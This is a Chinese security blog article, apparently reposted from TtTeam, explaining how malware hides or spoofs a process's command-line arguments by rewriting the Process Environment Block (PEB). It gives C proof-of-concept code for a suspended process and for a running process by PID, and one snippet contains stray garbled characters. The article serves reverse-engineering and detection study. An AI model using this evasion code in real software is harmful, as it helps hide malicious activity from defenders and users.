恶意进程环境块操纵

admin 2026-01-12 01:21:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文探讨了恶意软件通过操纵进程环境块(PEB)伪造进程命令行参数的技术。详细介绍了利用API修改挂起及运行中进程内存的具体步骤与代码实现。结论指出该方法受限于字符串长度且无法逃避EDR在创建时的记录,适用于进程信息隐蔽场景。 综合评分: 91 文章分类: 恶意软件,逆向分析,免杀


cover_image

恶意进程环境块操纵

TtTeam

2026年1月11日 01:00 海南

逆向工程师必须对恶意软件的执行环境(即操作系统)具备深入认知。在之前的日志中,研究者曾讨论过加载 DLL 时可能执行的恶意代码[ 1 ]。本文将向读者展示,恶意软件如何隐藏与已创建进程相关的可疑信息。

API 调用 CreateProcess() 的用途如其名称所示,核心功能是创建新进程。本文不会在此处讨论该 API 的所有参数,但需明确的是,通过指定特定标志可定义进程的创建方式。其中,CREATE_SUSPENDED 标志(值为 0x00000004)尤为关键——该标志会指示操作系统创建进程,但不会自动启动进程。这一标志通常被视为恶意行为的明显特征(例如进程空洞化攻击场景)。

每个进程都拥有一个名为“PEB”(即“进程环境块”)的特定结构[ 3 ]。这是 Windows 系统中的用户模式数据结构,操作系统会为每个正在运行的进程维护该结构,用于存储进程运行时的关键信息,包括已加载的模块、进程参数、堆指针、环境变量及调试标志等。

上一段内容的核心要点是“用户模式”——这意味着进程不仅能够访问自身的 PEB(例如通过 PEB 检测是否有调试器附加),还具备修改自身 PEB 的能力。

研究者以一个实际案例进行说明:假设某恶意软件需要启动一个携带特定参数的 cmd.exe 进程,其可通过修改 PEB 来伪造命令行参数,整个操作仅需以下几个步骤:

  1. 找到PEB
  2. 读取工艺参数
  3. 覆盖它们
  4. 恢复流程

概念验证:

#include&nbsp;<windows.h>#include&nbsp;<winternl.h>#include&nbsp;<stdio.h>#pragma&nbsp;comment(lib,&nbsp;"ntdll.lib")int&nbsp;main() {&nbsp; &nbsp; STARTUPINFO si = {&nbsp;sizeof(si) };&nbsp; &nbsp; PROCESS_INFORMATION pi;
&nbsp; &nbsp;&nbsp;// Start a process with some parameters&nbsp; &nbsp;&nbsp;BOOL&nbsp;success = CreateProcessA(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"C:\\Windows\\System32\\cmd.exe",&nbsp; &nbsp; &nbsp; &nbsp; (LPSTR)"cmd.exe /c echo I am malicious! }:->",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL,&nbsp;FALSE,&nbsp; &nbsp; &nbsp; &nbsp; CREATE_SUSPENDED,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp;NULL, &si, &pi&nbsp; &nbsp; );&nbsp; &nbsp;&nbsp;if&nbsp;(success) {&nbsp; &nbsp; &nbsp; &nbsp; PROCESS_BASIC_INFORMATION pbi;&nbsp; &nbsp; &nbsp; &nbsp; ULONG returnLength;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Get the PEB address&nbsp; &nbsp; &nbsp; &nbsp; NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi,&nbsp;sizeof(pbi), &returnLength);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Read ProcessParameters&nbsp; &nbsp; &nbsp; &nbsp; PEB peb;&nbsp; &nbsp; &nbsp; &nbsp; ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb,&nbsp;sizeof(PEB),&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS params;&nbsp; &nbsp; &nbsp; &nbsp; ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &params,&nbsp;sizeof(RTL_USER_PROCESS_PARAMETERS),&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Overwrite the CommandLine buffer&nbsp; &nbsp; &nbsp; &nbsp; WCHAR newCmd[] = L"cmd.exe /c echo Nothing to see here!";&nbsp; &nbsp; &nbsp; &nbsp; WriteProcessMemory(pi.hProcess, params.CommandLine.Buffer, newCmd,&nbsp;sizeof(newCmd),&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp; printf("Press enter to continue and resume the process...\n");&nbsp; &nbsp; &nbsp; &nbsp; getchar();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Resume the process&nbsp; &nbsp; &nbsp; &nbsp; ResumeThread(pi.hThread);&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(pi.hProcess);&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(pi.hThread);&nbsp; &nbsp; &nbsp; &nbsp; printf("Process resumed with modified PEB.\n");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}

启动 poc.exe 后,检查 cmd.exe 进程:

在这种情况下,cmd.exe 将使用新参数执行。那么,如何修改正在运行的进程并隐藏(而非伪造)其参数呢?

为了实现这一点,进程不必创建在挂起状态,而必须保持运行!思路是获取进程句柄并修改其进程执行脚本(PEB):

void&nbsp;modifyRunningProcess(DWORD pid,&nbsp;const&nbsp;wchar_t* newCmd) {&nbsp; &nbsp; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,&nbsp;FALSE, pid);&nbsp; &nbsp;&nbsp;if&nbsp;(!hProcess)&nbsp;return;&nbsp; &nbsp; PROCESS_BASIC_INFORMATION pbi;&nbsp; &nbsp; ULONG retLen;&nbsp; &nbsp; NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi,&nbsp;sizeof(pbi), &retLen);&nbsp; &nbsp; PEB peb;&nbsp; &nbsp; ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb,&nbsp;sizeof(PEB),&nbsp;NULL);&nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS params;&nbsp; &nbsp; ReadProcessMemory(hProcess, peb.ProcessParameters, &params,&nbsp;sizeof(params),&nbsp;NULL);&nbsp; &nbsp; USHORT newSize = (USHORT)(wcslen(newCmd) *&nbsp;sizeof(WCHAR));&nbsp; &nbsp; WriteProcessMemory(hProcess, params.CommandLine.Buffer, newCmd, newSize +&nbsp;2,&nbsp;NULL);&nbsp; &nbsp; WriteProcessMemory(hProcess, (PBYTE)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),&nbsp;??????? &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &newSize,&nbsp;sizeof(USHORT),&nbsp;NULL);&nbsp; &nbsp; CloseHandle(hProcess);&nbsp; &nbsp; printf("PEB Updated for PID: %d\n", pid);}

请注意此技术存在一个重要局限性:必须将现有命令行替换为长度更短(带尾随空格)或长度相等的命令行,否则存在缓冲区溢出的风险!此外,此技术无法阻止 EDR 等工具记录原始参数,因为这些参数会在进程创建时被记录。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:TtTeam 《恶意进程环境块操纵》

恶意进程环境块操纵 网络安全文章

恶意进程环境块操纵

文章总结: 本文探讨了恶意软件通过操纵进程环境块(PEB)伪造进程命令行参数的技术。详细介绍了利用API修改挂起及运行中进程内存的具体步骤与代码实现。结论指出该
国家网信办公开征求意见 网络安全文章

国家网信办公开征求意见

文章总结: 国家网信办发布互联网应用程序个人信息收集使用规定征求意见稿,规范数据处理行为。核心要求遵循最小必要原则,公开透明告知规则,禁止强制索权与超范围收集,
评论:0   参与:  0